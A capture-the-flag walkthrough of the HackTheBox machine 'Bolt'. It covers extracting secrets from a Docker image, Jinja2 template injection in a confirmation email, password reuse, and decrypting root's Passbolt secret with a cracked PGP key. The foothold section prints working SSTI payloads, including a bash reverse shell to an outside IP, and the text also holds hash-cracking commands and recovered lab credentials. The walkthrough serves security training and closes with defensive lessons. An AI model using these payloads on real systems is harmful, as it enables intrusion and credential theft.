Bolt
Box Info
Platform: HackTheBox, OS: Linux (Ubuntu 20.04), Difficulty: Medium, Released: 2022-01-08, IP: 10.10.11.114 , bolt.htb
Attack Path
bolt.htbplus vhostspassbolt.bolt.htb(Passbolt 3.2.1),demo.bolt.htb(an AppSeed Flask portal),mail.bolt.htb(Roundcube).demo.bolt.htb/downloadserves a Docker image (image.tar). Extract the layers and you get: DB creds inpassbolt.php(passbolt : rT2;jW7<eY8!dX8}pQ8%),db.sqlite3with the admin hash (crack todeadbolt), a hardcoded registration invite codeXNSS-HSJW-3NGU-8XTJinroutes.py, and eddie’s PGP private key in his Chrome extension storage.- Register on
demo.bolt.htbwith the invite code. The profile name field is Jinja2 SSTI, rendered into the confirmation email. A payload there executes on the server. Shell aswww-data. www-datatoeddie: the DB password is reused for his system account.su eddie(SSH also works).eddieto root:mysqlintopassboltdb, pull the armored secret from thesecretstable, import eddie’s PGP key (passphrase cracked withgpg2john), decrypt the secret. It is a JSON blob containing root’s password.su.
Credentials and Flags
| Where | Value |
|---|---|
passbolt.php (DB), reused for eddie | rT2;jW7<eY8!dX8}pQ8% |
db.sqlite3 admin (md5crypt, cracked) | deadbolt |
invite code (routes.py) | XNSS-HSJW-3NGU-8XTJ |
| eddie PGP passphrase | merrychristmas |
user.txt | /home/eddie/user.txt |
root.txt | /root/root.txt |
Overview
Bolt is a Docker image analysis box. The entire foothold is in the layers of image.tar: config files with a live DB password, a SQLite database with a crackable admin hash, a hardcoded invite code, and, buried in a Chrome extension’s LevelDB log, a user’s exported PGP private key. Then a Jinja2 SSTI in an email template (your profile name is interpolated into the confirmation mail without escaping), password reuse, and finally the interesting root: Passbolt stores every secret encrypted to each user’s PGP key, and root’s password is a shared secret encrypted to eddie, so with eddie’s private key and passphrase you decrypt it straight out of the database.
Related “unpack a container image for secrets”: this is the reference case, see also MonitorsTwo for reading the DB from inside a container. Related SSTI: Perfection, Rabbit Store, Theseus. Related GPG keyvault to credentials: Environment.
Full Walkthrough
Recon
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80/tcp open http nginx 1.18.0 (Ubuntu) (Django starter site)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu) (cert CN = passbolt.bolt.htb)
The 443 cert gives away passbolt.bolt.htb. Chasing subdomains and links (and a 404 page that references https://passbolt.bolt.htb/):
passbolt.bolt.htb, Passbolt password manager, version 3.2.1 (from the footer)demo.bolt.htb, an AppSeed “Datta Able” Flask portal with login and a/downloadpagemail.bolt.htb, Roundcube webmail
The Docker image
demo.bolt.htb/download (or passbolt.bolt.htb/uploads/image.tar, fetched with curl since the browser 404s it) serves a Docker image tarball.
mkdir img && tar xf image.tar -C img
cd img
# each layer is <hash>/layer.tar ; extract them in order, or:
for l in */layer.tar; do tar xf "$l" -C extracted/ 2>/dev/null; doneWhat a Docker save tarball contains
docker save produces a tar of manifest.json, one directory per layer (<hash>/layer.tar), and the image config JSON. Each layer is a filesystem diff, so extracting them in the manifest order rebuilds the container’s /. Everything the build ever added is there, including files that a later layer “deleted” (they become .wh. whiteout entries but the data is still in the earlier layer). Tools: dive, docker load then docker export, or just tar each layer.
From the extracted filesystem:
# app/config.py and passbolt.php
$dbUsername = 'passbolt';
$dbPassword = 'rT2;jW7<eY8!dX8}pQ8%';
$dbDatabase = 'passboltdb';# app/base/routes.py
INVITE_CODES = ['XNSS-HSJW-3NGU-8XTJ']A layer also contains db.sqlite3:
$ sqlite3 db.sqlite3 'select username, password from User'
admin|$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.
$ john --wordlist=rockyou.txt admin.hash
deadbolt (admin)
And, in eddie’s Chrome profile inside the image:
.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.logwhich contains eddie’s PGP private key (the Passbolt browser extension stores it there). Extract the armored key block, then:
gpg2john eddie_priv.asc > pgp.hash
john --wordlist=rockyou.txt pgp.hash # -> merrychristmasFoothold, Jinja2 SSTI in the confirmation email
With the invite code and a stack of credentials pulled out of the image, I turn back to demo.bolt.htb’s registration flow, since a gated signup process is a strong signal that something interesting happens once you’re actually a user rather than an anonymous visitor.
SSTI in an email template
Register on demo.bolt.htb using the invite code XNSS-HSJW-3NGU-8XTJ. Set your profile name to a Jinja2 payload. When the app sends the account confirmation email it renders Hello {{ name }} server side without autoescaping, so the payload executes. Read the mail in Roundcube (mail.bolt.htb, log in as the account you registered) to see the output, then swap in a shell:
name = {{ cycler.__init__.__globals__.os.popen('id').read() }}
# then:
name = {{ config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/9001 0>&1"').read() }}Trigger a new email (re-send confirmation / update profile). Shell as www-data.
www-data to eddie
Landing on www-data, the DB password I pulled from the Docker layers earlier is the first thing I try against every named account I’ve seen, since password reuse between an app’s DB config and a real login is close to a house style on these boxes.
su eddie # rT2;jW7<eY8!dX8}pQ8% (DB password reused)
# or: ssh eddie@bolt.htb
cat /home/eddie/user.txtPrivilege Escalation, decrypt root’s password from Passbolt
Passbolt secret storage
Passbolt is end to end encrypted: every “password” (secret) is stored in the secrets table as an OpenPGP message encrypted to that user’s public key. The server never has plaintext. So if you have a user’s private key and passphrase (we do, from the Docker image), you can decrypt any secret that was shared with them. Root’s password is stored as a secret shared with eddie.
# on the box as eddie
mysql -u passbolt -p'rT2;jW7<eY8!dX8}pQ8%' passboltdb -e 'select data from secrets;'
# copy the -----BEGIN PGP MESSAGE----- block
gpg --import eddie_priv.asc # passphrase: merrychristmas
gpg -d secret.asc
# {"password":"<root password>","description":""}
su # <root password>
cat /root/root.txtLoot
| Flag | Location |
|---|---|
user.txt | /home/eddie/user.txt |
root.txt | /root/root.txt |
Lessons and Takeaways
- Do not publish Docker images. They carry every build time secret, including files a later layer “removed”. Use multi stage builds and a secrets manager, and scan images with
trufflehog/dive. - Autoescape templates, and never render user input as a template. Jinja2 SSTI in an email is still RCE.
- Unique passwords. The DB password unlocking
eddieis the same anti pattern as always. - Crack protect PGP keys with a strong passphrase.
merrychristmasfell to rockyou instantly, which unravelled the whole vault. - Passbolt’s model is only as strong as the users’ key hygiene. A leaked private key exposes everything shared with that user.
Related Writeups
- Container image / layer analysis for secrets: MonitorsTwo
- SSTI (Jinja2 / ERB): Perfection, Rabbit Store, Theseus, Luanne
- GPG / PGP keyvault to credentials: Environment
- Password reuse to a system user then root: Cat, Nocturnal, TwoMillion
References
- HTB Bolt (pencer.io) https://pencer.io/ctf/ctf-htb-bolt/
- HTB Bolt (fdlucifer) https://fdlucifer.github.io/2021/09/29/bolt/
- PayloadsAllTheThings SSTI (Jinja2) https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
- dive (image explorer) https://github.com/wagoodman/dive
- Final privilege escalation steps cross-referenced against public writeups for this box.